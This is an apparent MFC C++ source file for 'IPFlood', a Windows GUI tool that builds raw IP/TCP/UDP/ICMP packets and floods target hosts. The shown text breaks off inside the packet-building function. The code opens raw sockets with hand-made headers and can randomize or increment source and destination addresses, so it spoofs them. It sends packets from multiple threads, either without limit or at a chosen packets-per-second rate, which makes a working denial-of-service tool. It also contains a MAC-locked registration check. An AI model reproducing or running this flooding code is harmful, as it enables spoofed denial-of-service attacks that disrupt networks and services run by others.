www.pudn.com > IPFlood.rar > IPFloodDlg.cpp
// IPFloodDlg.cpp : implementation file // #include "stdafx.h" #include "IPFlood.h" #include "IPFloodDlg.h" #include#include #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif BOOL ExitNow=false; UINT ThreadCount; CRITICAL_SECTION GlobalCriticalSetion; ///////////////////////////////////////////////////////////////////////////// // CAboutDlg dialog used for App About class CAboutDlg : public CDialog { public: CAboutDlg(); virtual BOOL PreTranslateMessage(MSG* pMsg); // Dialog Data //{{AFX_DATA(CAboutDlg) enum { IDD = IDD_ABOUTBOX }; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CAboutDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: CToolTipCtrl m_tooltip; //{{AFX_MSG(CAboutDlg) afx_msg void OnReportme(); virtual BOOL OnInitDialog(); //}}AFX_MSG DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { //{{AFX_DATA_INIT(CAboutDlg) //}}AFX_DATA_INIT } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CAboutDlg) //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) //{{AFX_MSG_MAP(CAboutDlg) ON_BN_CLICKED(IDC_REPORTME, OnReportme) //}}AFX_MSG_MAP END_MESSAGE_MAP() BOOL CAboutDlg::OnInitDialog() { CDialog::OnInitDialog(); // TODO: Add extra initialization here m_tooltip.Create (this); m_tooltip.Activate (TRUE); m_tooltip.AddTool ((CWnd*)GetDlgItem(IDC_REPORTME),"报告程序错误/提出改进意见/获取注册码"); m_tooltip.AddTool ((CWnd*)GetDlgItem(IDOK),"知道了......"); m_tooltip.AddTool ((CWnd*)GetDlgItem(IDC_LOGO),"申请注册码请将本机MAC地址发送到chenzyb@digitalchina.com"); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE } void CAboutDlg::OnReportme() { // TODO: Add your control notification handler code here ShellExecute(NULL,"open","mailto:chenzyb@digitalchina.com?subject={IPFlood 错误报告/改进建议/申请注册码}",NULL,NULL,SW_MAXIMIZE ); } BOOL CAboutDlg::PreTranslateMessage(MSG* pMsg) { // CG: The following block was added by the ToolTips component. { // Let the ToolTip process this message. m_tooltip.RelayEvent(pMsg); } return CDialog::PreTranslateMessage(pMsg); // CG: This was added by the ToolTips component. } ///////////////////////////////////////////////////////////////////////////// // CIPFloodDlg dialog CIPFloodDlg::CIPFloodDlg(CWnd* pParent /*=NULL*/) : CDialog(CIPFloodDlg::IDD, pParent) { //{{AFX_DATA_INIT(CIPFloodDlg) //}}AFX_DATA_INIT // Note that LoadIcon does not require a subsequent DestroyIcon in Win32 m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CIPFloodDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CIPFloodDlg) DDX_Control(pDX, IDC_TASKLIST, m_TaskList); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CIPFloodDlg, CDialog) //{{AFX_MSG_MAP(CIPFloodDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_COMMAND(ID_TRAYADD, OnTrayadd) ON_COMMAND(ID_TRAYSHOW, OnTrayshow) ON_COMMAND(ID_TRAYEXIT, OnTrayexit) ON_WM_TIMER() ON_NOTIFY(NM_RCLICK, IDC_TASKLIST, OnRclickTasklist) ON_COMMAND(ID_TASKLISTADDTASK, OnTasklistaddtask) ON_COMMAND(ID_TASKLISTDELTASK, OnTasklistdeltask) ON_COMMAND(ID_TASKLISTSTARTTASK, OnTaskliststarttask) ON_COMMAND(ID_TASKLISTSTOPTASK, OnTaskliststoptask) ON_COMMAND(ID_TASKLISTABOUT, OnTasklistabout) ON_COMMAND(ID_TASKLISTQUIT, OnTasklistquit) ON_COMMAND(ID_TASKLISTREADME, OnTasklistreadme) ON_COMMAND(ID_TRAYREADME, OnTrayreadme) ON_COMMAND(ID_TRAYABOUT, OnTrayabout) ON_MESSAGE(WM_SHOWTASK,onShowTask) ON_COMMAND(ID_TASKLISTTRAY, OnTasklisttray) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CIPFloodDlg message handlers BOOL MyTaskBarDeleteIcon(HWND hwnd, UINT uID) { BOOL res; NOTIFYICONDATA tnid; tnid.cbSize = sizeof(NOTIFYICONDATA); tnid.hWnd = hwnd; tnid.uID = uID; res = Shell_NotifyIcon(NIM_DELETE, &tnid); return res; } ///////////// BOOL CIPFloodDlg::OnInitDialog() { CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon /////////////////////////////////////////////////////////////////////// WSADATA WSAData; if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) { AfxMessageBox("错误: 操作系统不支持winsock 2.2 !"); m_RegPassed=FALSE; OnCancel(); } m_TaskList.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); LV_COLUMN lvcol; lvcol.mask=LVCF_FMT|LVCF_SUBITEM|LVCF_TEXT|LVCF_WIDTH; lvcol.fmt=LVCFMT_CENTER; lvcol.cx=40; lvcol.pszText="任务"; ListView_InsertColumn(m_TaskList,0,&lvcol); lvcol.cx=106; lvcol.pszText="目标IP"; ListView_InsertColumn(m_TaskList,1,&lvcol); lvcol.cx=40; lvcol.pszText="协议"; ListView_InsertColumn(m_TaskList,2,&lvcol); lvcol.cx=60; lvcol.pszText="设置PPS"; ListView_InsertColumn(m_TaskList,3,&lvcol); lvcol.pszText="实际PPS"; ListView_InsertColumn(m_TaskList,4,&lvcol); lvcol.pszText="设定数量"; ListView_InsertColumn(m_TaskList,5,&lvcol); lvcol.pszText="已发数量"; ListView_InsertColumn(m_TaskList,6,&lvcol); lvcol.cx=106; lvcol.pszText="源IP随机/固定"; ListView_InsertColumn(m_TaskList,7,&lvcol); lvcol.cx=60; lvcol.pszText="发送失败"; ListView_InsertColumn(m_TaskList,8,&lvcol); pTaskList=NULL; ThreadCount=0; m_SetupDlg.Create (IDD_SETUPDLG,this); m_SetupDlg.ShowWindow (SW_HIDE); SetupDlgShow=FALSE; m_RegPassed=FALSE; InitializeCriticalSection(&GlobalCriticalSetion ); InitializeCriticalSection(&CSGetAdapters); srand((UINT)GetTickCount()); EnableToolTips (true); m_tooltip.Create(this); m_tooltip.Activate(TRUE); m_tooltip.SetDelayTime (500); m_tooltip.AddTool ((CWnd*)GetDlgItem(IDC_TASKLIST),"任务列表,单击右键选择命令"); SetTimer(1,1000,NULL); return TRUE; // return TRUE unless you set the focus to a control } void CIPFloodDlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else if ((nID &0xFFF0) == SC_MINIMIZE ) { nid.cbSize=(DWORD)sizeof(NOTIFYICONDATA); nid.hWnd=this->m_hWnd; nid.uID=IDR_MAINFRAME; nid.uFlags=NIF_ICON|NIF_MESSAGE|NIF_TIP ; nid.uCallbackMessage=WM_SHOWTASK; nid.hIcon=LoadIcon(AfxGetInstanceHandle(),MAKEINTRESOURCE(IDR_MAINFRAME)); strcpy(nid.szTip,"IPFlood by Hellis"); Shell_NotifyIcon(NIM_ADD,&nid); ShowWindow(SW_HIDE); }else if((nID & 0xFFF0) == SC_CLOSE) { OnTasklistquit(); }else { CDialog::OnSysCommand(nID, lParam); } } // If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CIPFloodDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } // The system calls this to obtain the cursor to display while the user drags // the minimized window. HCURSOR CIPFloodDlg::OnQueryDragIcon() { return (HCURSOR) m_hIcon; } //////////////////////////////////////////////////// LRESULT CIPFloodDlg::onShowTask(WPARAM wParam,LPARAM lParam) { if(wParam!=IDR_MAINFRAME) return 1; switch(lParam) { case WM_RBUTTONUP: { LPPOINT lpoint=new tagPOINT; ::GetCursorPos(lpoint); CMenu menu,*pSubMenu; menu.LoadMenu (IDR_POPUP); pSubMenu = menu.GetSubMenu(0); pSubMenu->TrackPopupMenu(TPM_LEFTALIGN,lpoint->x,lpoint->y,this); HMENU hmenu=menu.Detach(); DestroyMenu(hmenu); delete lpoint; } break; case WM_LBUTTONUP: this->ShowWindow(SW_SHOW); MyTaskBarDeleteIcon(m_hWnd,IDR_MAINFRAME); SetForegroundWindow(); break; } return 0; } void CIPFloodDlg::OnTasklisttray() { OnSysCommand(SC_MINIMIZE,NULL); } void CIPFloodDlg::OnTrayadd() { m_SetupDlg.CenterWindow (NULL); m_SetupDlg.ShowWindow (SW_SHOW); } void CIPFloodDlg::OnTrayshow() { onShowTask(IDR_MAINFRAME,WM_LBUTTONUP); } void CIPFloodDlg::OnTrayexit() { OnTasklistquit(); } void CIPFloodDlg::OnTrayreadme() { OnTasklistreadme(); } void CIPFloodDlg::OnTrayabout() { OnTasklistabout(); } USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } void DumpPacket(char *data,int len) { char *p,pp[8]; int i; CFile f; f.Open ("PacketLog.txt", CFile::modeCreate|CFile::modeWrite,NULL); for(p=data,i=0;i m_Number ; DWORD t1=0,t2=0,sent1=0,sent2=0,myPPS=0; UINT RandIP; USHORT chksum=0; char *data=(char *)malloc(Param->m_IpLen +1); if(!data) goto __myquit; memset(data,0,Param->m_IpLen +1); if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)) \ ==INVALID_SOCKET) { goto __myquit; } flag=true; if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag)) \ ==SOCKET_ERROR) { goto __myquit; } nTimeOver=1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))\ ==SOCKET_ERROR) { goto __myquit; } addr_in.sin_family=AF_INET; addr_in.sin_addr.S_un.S_addr=Param->m_DestIP; if(MakePacket(Param,data)==-1) { goto __myquit; } t1=GetTickCount(); iprand=Param->m_RandomSrcIp || Param->m_RandomDestIp; ipinc=Param->m_IncDestIP || Param->m_IncSrcIP ; srcchange=Param->m_RandomSrcIp || Param->m_IncSrcIP; destchange=Param->m_RandomDestIp || Param->m_IncDestIP; while(flag) { EnterCriticalSection(&(Param->m_CriticalSetion)); EnterCriticalSection(&GlobalCriticalSetion); count==0?(flag=(!ExitNow && Param->m_State)): \ (flag=(!ExitNow && count-->=2 && Param->m_State)); LeaveCriticalSection(&GlobalCriticalSetion); LeaveCriticalSection(&(Param->m_CriticalSetion)); if(iprand || ipinc)//dynamic ip,update checksums { if(srcchange) { Param->m_IncSrcIP?RandIP=RandomIP(0):RandIP=RandomIP(1); memcpy(data+12,&RandIP ,sizeof(UINT));// Param->m_SrcIP =RandIP; } if(destchange) { Param->m_IncDestIP?RandIP=RandomIP(0):RandIP=RandomIP(1); memcpy(data+16,&RandIP ,sizeof(UINT));// Param->m_DestIP=RandIP; } memset((void*)(data+10),0,sizeof USHORT);//update ip checksum chksum=htons(checksum((USHORT *)data,sizeof IPHDR)); memcpy((void*)(data+10),&chksum,sizeof USHORT); Param->m_Ipchksum =chksum; switch(Param->m_IpProtocol ) { case IPPROTO_TCP: memset(data+8,0,sizeof BYTE);//ttl memset((void*)(data+10),0,sizeof USHORT);//tlen chksum=htons(Param->m_IpLen -sizeof IPHDR); memcpy(data+10,&chksum,sizeof USHORT); memset(data+36,0,sizeof USHORT); memcpy(&RandIP,data+24,sizeof UINT);//update seq RandIP=ntohl(RandIP);RandIP++;RandIP=htonl(RandIP); memcpy(data+24,&RandIP,sizeof UINT); memcpy(&RandIP,data+28,sizeof UINT);//update ack RandIP=ntohl(RandIP);RandIP++;RandIP=htonl(RandIP); memcpy(data+28,&RandIP,sizeof UINT); chksum=checksum((USHORT*)(data+8),Param->m_IpLen -sizeof IPHDR+sizeof PSHDR); memcpy((void*)(data+36),&chksum,sizeof USHORT); memcpy((void*)(data+10),&(Param->m_Ipchksum ),sizeof USHORT); memcpy((void*)(data+8),&(Param->m_IpTTL ),sizeof BYTE); break; case IPPROTO_UDP://need new checksum hum~~~~ memset(data+8,0,sizeof BYTE); memset((void*)(data+10),0,sizeof USHORT);memcpy(data+10,data+24,sizeof USHORT); memset(data+26,0,sizeof USHORT); chksum=checksum((USHORT*)(data+8),Param->m_IpLen -sizeof IPHDR+sizeof PSHDR); memcpy((void*)(data+26),&chksum,sizeof USHORT); memcpy((void*)(data+10),&(Param->m_Ipchksum ),sizeof USHORT); memcpy((void*)(data+8),&(Param->m_IpTTL ),sizeof BYTE); break; default: break; } }//DumpPacket(data,(sizeof IPHDR)+8); ret=sendto(sock,data,Param->m_IpLen,0,(struct sockaddr*)&addr_in,sizeof(addr_in)); if(ret == SOCKET_ERROR) Param->m_SendErrors ++; sent1++; EnterCriticalSection(&(Param->m_CriticalSetion)); Param->m_sent++; LeaveCriticalSection(&(Param->m_CriticalSetion)); t2=GetTickCount(); if(Param->m_PPS==0 && t2-t1>=1000) //no speed limit mode and time exceed,record it. { myPPS=sent1-sent2; EnterCriticalSection(&(Param->m_CriticalSetion)); Param->m_MyPPS =myPPS; LeaveCriticalSection(&(Param->m_CriticalSetion)); sent1=0;sent2=0; t1=GetTickCount();t2=t1; }else if(Param->m_PPS!=0 ) // speed limit mode { myPPS=sent1-sent2; if((myPPS>=Param->m_PPS ) || (myPPS<=Param->m_PPS && t2-t1>=1000)) { //sent PPS,whatever t2-t1 is,record it;speed not reched and time exceed,record it. EnterCriticalSection(&(Param->m_CriticalSetion)); Param->m_MyPPS =myPPS; LeaveCriticalSection(&(Param->m_CriticalSetion)); t2-t1>=1000?Sleep(0):Sleep(1000-(t2-t1)); sent2=0;sent1=0;t1=GetTickCount();t2=t1; } }//t2-t1<1000,speed limit?go on: }//send another __myquit: EnterCriticalSection(&(Param->m_CriticalSetion)); ThreadCount--;Param->m_State =false; LeaveCriticalSection(&(Param->m_CriticalSetion)); if(data) free(data); return 0; } void CIPFloodDlg::OnTaskliststarttask() { int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); if(iItem>=0) { int i=ListView_GetSelectionMark(m_TaskList); char sz[16]; ListView_GetItemText(m_TaskList,i,0,sz,sizeof sz); i=atoi(sz); pTaskItem tmp=pTaskList; while(tmp && (UINT)i!=tmp->m_TaskID ) tmp=tmp->next ; if(!tmp) { AfxMessageBox("错误: 发生严重错误!");return;} sprintf(sz,">> %d",i); ListView_SetItemText(m_TaskList.m_hWnd,iItem,0,sz); tmp->m_State =true; EnterCriticalSection(&GlobalCriticalSetion); ThreadCount++; LeaveCriticalSection(&GlobalCriticalSetion); AfxBeginThread(StartFlood,(LPVOID)tmp,THREAD_PRIORITY_NORMAL,0,0,NULL); } else AfxMessageBox("请先选择需要开始的任务!"); } void CIPFloodDlg::OnTasklistaddtask() { RECT rc,rc1; char buff[MAXLEN]; this->GetWindowRect (&rc); m_SetupDlg.GetWindowRect (&rc1); m_SetupDlg.MoveWindow (rc.left,rc.top ,rc1.right -rc1.left ,rc1.bottom -rc1.top ,false); SetupDlgShow=TRUE; m_SetupDlg.ShowWindow (SW_SHOW); memset(buff,0,sizeof buff); strcat(buff,"IPFlood -- Hellis Studio 2003 From 【" ); strcat(buff,Adapters[0].desc ); strcat(buff," 】"); ::SetWindowText (m_hWnd,buff); } void CIPFloodDlg::OnTasklistquit() { UINT btn=0; m_RegPassed?btn=MB_OKCANCEL:btn=MB_OK; int ret=this->MessageBox ("退出 IPFlood By Hellis Studio ?","退出 IPFlood",btn); if(ret==2 && m_RegPassed) return; EnterCriticalSection(&GlobalCriticalSetion); ExitNow=true; LeaveCriticalSection(&GlobalCriticalSetion); UINT i=1; pTaskItem tmp=pTaskList; while(tmp) { EnterCriticalSection(&(tmp->m_CriticalSetion)); tmp->m_State =false; LeaveCriticalSection(&(tmp->m_CriticalSetion)); tmp=tmp->next ; } while(i>0) { EnterCriticalSection(&GlobalCriticalSetion); i=ThreadCount; LeaveCriticalSection(&GlobalCriticalSetion); Sleep(500); } pTaskItem tmp1,tmp2; tmp1=tmp2=pTaskList; while(tmp2) { tmp1=tmp2->next ; delete tmp2; tmp2=tmp1; } MyTaskBarDeleteIcon(m_hWnd,IDR_MAINFRAME); WSACleanup(); KillTimer(1); CDialog::OnCancel(); } void CIPFloodDlg::OnTasklistdeltask() { int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); int i=-1; char sz[8]; pTaskItem tmp1,tmp2; if(iItem>=0) { i=ListView_GetSelectionMark(m_TaskList); ListView_GetItemText(m_TaskList,i,0,sz,sizeof sz); i=atoi(sz); tmp1=pTaskList;tmp2=tmp1; while(tmp1) { if((UINT)i==tmp1->m_TaskID ) { if(tmp1==pTaskList) { // tmp1 located at list head pTaskList=tmp1->next ; }else if(tmp1->next ) { // tmp1 located at list middle,tmp2=tmp1->forward; tmp2->next =tmp1->next ; }else // tmp1 located at list end,tmp2 is the list end now. tmp2->next =NULL; delete tmp1; break; } tmp2=tmp1; tmp1=tmp1->next ; } ListView_DeleteItem(m_TaskList,iItem); } } void CIPFloodDlg::OnTaskliststoptask() { int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); int i=-1; char sz[8]; pTaskItem tmp1; if(iItem>=0) { i=ListView_GetSelectionMark(m_TaskList); ListView_GetItemText(m_TaskList,i,0,sz,sizeof sz); i=atoi(sz+3); tmp1=pTaskList; while(tmp1) { if((UINT)i==tmp1->m_TaskID ) { EnterCriticalSection(&(tmp1->m_CriticalSetion)); tmp1->m_State =false; LeaveCriticalSection(&(tmp1->m_CriticalSetion)); sprintf(sz,"%d",i); ListView_SetItemText(m_TaskList.m_hWnd,iItem,0,sz); ListView_SetItemText(m_TaskList.m_hWnd,iItem,4,"任务停止"); break; } tmp1=tmp1->next ; } } } void CIPFloodDlg::OnOK() { this->OnTaskliststarttask (); } void CIPFloodDlg::OnCancel() { this->OnTaskliststoptask (); } void CIPFloodDlg::OnTasklistabout() { OnSysCommand(IDM_ABOUTBOX,NULL); } void CIPFloodDlg::OnTasklistreadme() { ShellExecute(NULL ,NULL,"使用说明.htm",NULL,NULL,SW_MAXIMIZE ); } ////////Get Ethernet Adapters List BOOL CIPFloodDlg::GetAdapters() { HKEY AdapterList,Adapter; INT i=0,j=0,Result; ULONG len; DWORD lpT=REG_SZ; CHAR AdapterName[8],buff[MAXLEN],dev[MAXLEN+5],*q; DWORD BytesReturned=0; HANDLE AdapterFile; PACKET_OID_DATA OidData ; for(i=0;i<10;i++) { memset(Adapters[i].mac ,0,sizeof Adapters[i].mac); memset(Adapters[i].desc,0,sizeof Adapters[i].desc); } LPCTSTR AdapterListRegPath="Software\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards"; Result=RegOpenKeyEx(HKEY_LOCAL_MACHINE,AdapterListRegPath,0,KEY_READ,&AdapterList); if ( Result != ERROR_SUCCESS ) return FALSE; i=0; while((Result=RegEnumKey(AdapterList,i,AdapterName,sizeof(AdapterName)))==ERROR_SUCCESS) { Result=RegOpenKeyEx(AdapterList,AdapterName,0,KEY_READ,&Adapter); if(Result!=ERROR_SUCCESS) { i++; continue; } len=sizeof buff; memset(buff,0,len); Result=RegQueryValueEx(Adapter,"ServiceName",NULL,&lpT,(UCHAR*)buff,&len); if(Result!=ERROR_SUCCESS) { RegCloseKey(Adapter); i++; continue; } memset(dev,0,MAXLEN); wsprintf(dev,TEXT("\\\\.\\%s"),buff); AdapterFile=CreateFile(dev,GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL); if(AdapterFile== INVALID_HANDLE_VALUE) { RegCloseKey(Adapter); i++; continue; } OidData.Oid = OID_802_3_PERMANENT_ADDRESS; OidData.Length =MAXLEN; Result=DeviceIoControl(AdapterFile,IOCTL_NDIS_QUERY_GLOBAL_STATS, &OidData,sizeof(PACKET_OID_DATA)-1+OidData.Length, &OidData,sizeof(PACKET_OID_DATA)-1+OidData.Length, &BytesReturned,NULL); CloseHandle(AdapterFile); if(Result==0) { RegCloseKey(Adapter); i++; continue; } //Query MAC OK! q=(char*)&OidData; memset(Adapters[j].mac,0,sizeof Adapters[j].mac); sprintf(Adapters[j].mac,"%02x-%02x-%02x-%02x-%02x-%02x",\ (BYTE)(*q),(BYTE)(*(q+1)),(BYTE)(*(q+2)),\ (BYTE)(*(q+3)),(BYTE)(*(q+4)),(BYTE)(*(q+5))); for(len=0;len GetParent (); mac=(char*)malloc(MAXLEN);code=(char*)malloc(MAXLEN); if(!mac || !code ) { m_RegPassed =FALSE; goto __ExitCheckReg; } EnterCriticalSection(&CSGetAdapters); if(!GetAdapters()) { m_RegPassed =FALSE; goto __ExitCheckReg; } memset(mac,0,MAXLEN);memset(code,0,MAXLEN); if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SoftWare\\IPFlood",0,KEY_READ,&SWKey)==ERROR_SUCCESS) { mlen=MAXLEN-1;clen=MAXLEN-1; memset(code,0,clen);memset(mac,0,mlen); if( RegQueryValueEx(SWKey,"Mac",NULL,&lpT,(UCHAR*)mac,&mlen)!=ERROR_SUCCESS || \ RegQueryValueEx(SWKey,"Code",NULL,&lpT,(UCHAR*)code,&clen)!=ERROR_SUCCESS) { AfxMessageBox("您的IPFlood还没有注册\n请将您用于注册的网卡MAC地址发邮件到\nchenzyb@digitalchina.com\n以获得注册码"); m_RegPassed =FALSE; goto __ExitCheckReg;; } while(strlen(Adapters[i].desc)>0 && strncmp(mac,Adapters[i].mac ,strlen(mac))) { i++; } if(strlen(Adapters[i].desc)<=0) { AfxMessageBox("经证实:\n本机没有此注册MAC的网卡\n或已注册该MAC的网卡被\"禁用\"\n请重新注册或\"启用\"该网卡!"); m_RegPassed =FALSE; goto __ExitCheckReg; } mlen=strlen(mac); md5_hmac(mac,mlen,hmackey,12,digest); MD5Print(digest,(char*)tmp); if(strstr((char*)code,(char*)tmp) && strstr((char*)tmp,(char*)code)) { m_RegPassed =TRUE;goto __ExitCheckReg;; } else { m_RegPassed =FALSE; AfxMessageBox("该MAC地址对应的注册码错误,请重新注册!"); } } else { m_RegPassed =FALSE;SWKey=NULL; AfxMessageBox("您的IPFlood还没有注册\n请将您用于注册的网卡MAC地址发邮件到\nchenzyb@digitalchina.com\n以获得注册码"); } __ExitCheckReg: LeaveCriticalSection(&CSGetAdapters); if(SWKey) RegCloseKey(SWKey); if(mac) free(mac); if(code) free(code); return m_RegPassed; } /////Update TaskList and Check Register Code :-) void CIPFloodDlg::OnTimer(UINT nIDEvent) { pTaskItem tmp=pTaskList; char sz[16],tId[16]; BOOL bRunning; int ret=ListView_GetItemCount(m_TaskList.m_hWnd ),iItem,iCount; if(ret==0) goto __noItem; while(tmp) { EnterCriticalSection(&(tmp->m_CriticalSetion)); bRunning=tmp->m_State; LeaveCriticalSection(&(tmp->m_CriticalSetion)); if(bRunning ) { //running tasks iCount=ListView_GetItemCount(m_TaskList.m_hWnd); sprintf(tId,"%d",tmp->m_TaskID); for(iItem=0;iItem >")) strcpy(sz,sz+3); else continue; if(!strcmp(sz,tId)) break; } if(iItem==iCount) break; EnterCriticalSection(&(tmp->m_CriticalSetion)); sprintf(sz,"%d",tmp->m_MyPPS ); LeaveCriticalSection(&(tmp->m_CriticalSetion)); ListView_SetItemText(m_TaskList.m_hWnd,iItem,4,sz); EnterCriticalSection(&(tmp->m_CriticalSetion)); sprintf(sz,"%d",tmp->m_sent ); LeaveCriticalSection(&(tmp->m_CriticalSetion)); ListView_SetItemText(m_TaskList.m_hWnd,iItem,6,sz); EnterCriticalSection(&(tmp->m_CriticalSetion)); sprintf(sz,"%d",tmp->m_SendErrors ); LeaveCriticalSection(&(tmp->m_CriticalSetion)); ListView_SetItemText(m_TaskList.m_hWnd,iItem,8,sz); } else { iCount=ListView_GetItemCount(m_TaskList.m_hWnd); sprintf(tId,"%d",tmp->m_TaskID); for(iItem=0;iItem >")) { strcpy(sz,sz+3); if(!strcmp(tId,sz)) { //task stopped and not updated ListView_SetItemText(m_TaskList.m_hWnd,iItem,0,sz); ListView_SetItemText(m_TaskList.m_hWnd,iItem,4,"任务停止"); sprintf(sz,"%d",tmp->m_sent ); ListView_SetItemText(m_TaskList.m_hWnd,iItem,6,sz); } }//ignore stopped or stopped/updated tasks }//search whole tasklist for taskID which task not updated } tmp=tmp->next; } __noItem: KillTimer(1); if(!CheckReg()) { if(strlen(Adapters[0].mac)<=0 ) { AfxMessageBox("您的计算机没有安装以太网卡\n或者\n所有以太网卡都已被\"禁用\""); OnTasklistquit();return; } m_RegisterDlg.DoModal (); if(m_RegPassed)///Register code Entered or Just quit,check code Valid SetTimer(1,1000,NULL); else OnTasklistquit(); }else SetTimer(1,1000,NULL); CDialog::OnTimer(nIDEvent); } void CIPFloodDlg::OnRclickTasklist(NMHDR* pNMHDR, LRESULT* pResult) { char sz[16]; LPPOINT lpoint=new tagPOINT; ::GetCursorPos(lpoint); CMenu menu,*pSubMenu; menu.LoadMenu (IDR_TASKLISTPOPUP); pSubMenu = menu.GetSubMenu(0); int iItem=ListView_GetNextItem(m_TaskList ,-1,LVNI_SELECTED); if(iItem==-1) {//no task selected pSubMenu->EnableMenuItem(ID_TASKLISTSTARTTASK,MF_GRAYED); pSubMenu->EnableMenuItem(ID_TASKLISTSTOPTASK,MF_GRAYED); pSubMenu->EnableMenuItem(ID_TASKLISTDELTASK,MF_GRAYED); }else {// task selected ListView_GetItemText(m_TaskList.m_hWnd,iItem,0,sz,sizeof sz); if(strstr(sz,">>")) {//task running pSubMenu->EnableMenuItem(ID_TASKLISTSTARTTASK,MF_GRAYED); pSubMenu->EnableMenuItem(ID_TASKLISTDELTASK,MF_GRAYED); } else //task not running pSubMenu->EnableMenuItem(ID_TASKLISTSTOPTASK,MF_GRAYED); } if(SetupDlgShow) pSubMenu->EnableMenuItem(ID_TASKLISTADDTASK,MF_GRAYED); pSubMenu->TrackPopupMenu(TPM_LEFTALIGN,lpoint->x,lpoint->y,this); HMENU hmenu=menu.Detach(); DestroyMenu(hmenu); delete lpoint; *pResult = 0; } int MakePacket(pTaskItem tItem,char *data) { IPHDR ipHeader; char hostname[64],*p,*buf,*q; int i; struct hostent *ht; ipHeader.VHlen=(0x40 | sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.Tos=tItem->m_IpTos ; ipHeader.TLen=htons(tItem->m_IpLen) ; ipHeader.Ident=htons(tItem->m_ProcessID) ; ipHeader.FragOffset=htons(tItem->m_IpFragOffset ); ipHeader.TTL=tItem->m_IpTTL ; ipHeader.Protocol=tItem->m_IpProtocol ; ipHeader.Checksum=0; ////change according to m_RandomIP and m_SpecialIP if(tItem->m_SpecialSrcIp ) ipHeader.SrcIP =htons((UINT)(tItem->m_SrcIP)); else if(tItem->m_RandomSrcIp || tItem->m_IncSrcIP) { tItem->m_IncSrcIP?ipHeader.SrcIP=RandomIP(0):ipHeader.SrcIP=RandomIP(1); }else { gethostname(hostname,sizeof hostname); ht=gethostbyname(hostname); if(!ht) { AfxMessageBox("错误: 取得本地IP地址错误!"); tItem->m_State =false; return false; } sprintf(hostname,"%s", inet_ntoa(*(struct in_addr *)*ht->h_addr_list)); ipHeader.SrcIP=inet_addr(hostname); } if(tItem->m_RandomDestIp || tItem->m_IncDestIP) { tItem->m_IncDestIP?ipHeader.DestIP=RandomIP(0):ipHeader.DestIP=RandomIP(1); }else ipHeader.DestIP=tItem->m_DestIP ; ipHeader.Checksum=checksum((USHORT *)&ipHeader,sizeof ipHeader); p=data; memcpy(data,(void *)&ipHeader,sizeof ipHeader); pICMPHDR picmphdr=(pICMPHDR)(data+sizeof IPHDR); pTCPHDR ptcphdr=(pTCPHDR)(data+sizeof IPHDR); pUDPHDR pudphdr=(pUDPHDR)(data+sizeof IPHDR); pPSHDR pshdr; switch(tItem->m_IpProtocol ) { case IPPROTO_ICMP: picmphdr->type =tItem->m_IcmpType ; picmphdr->code =tItem->m_IcmpCode ; picmphdr->Ident =htons(0x4321);//tItem->m_ProcessID) ; picmphdr->Seqence =htons(0x1234);//(UINT)rand()); 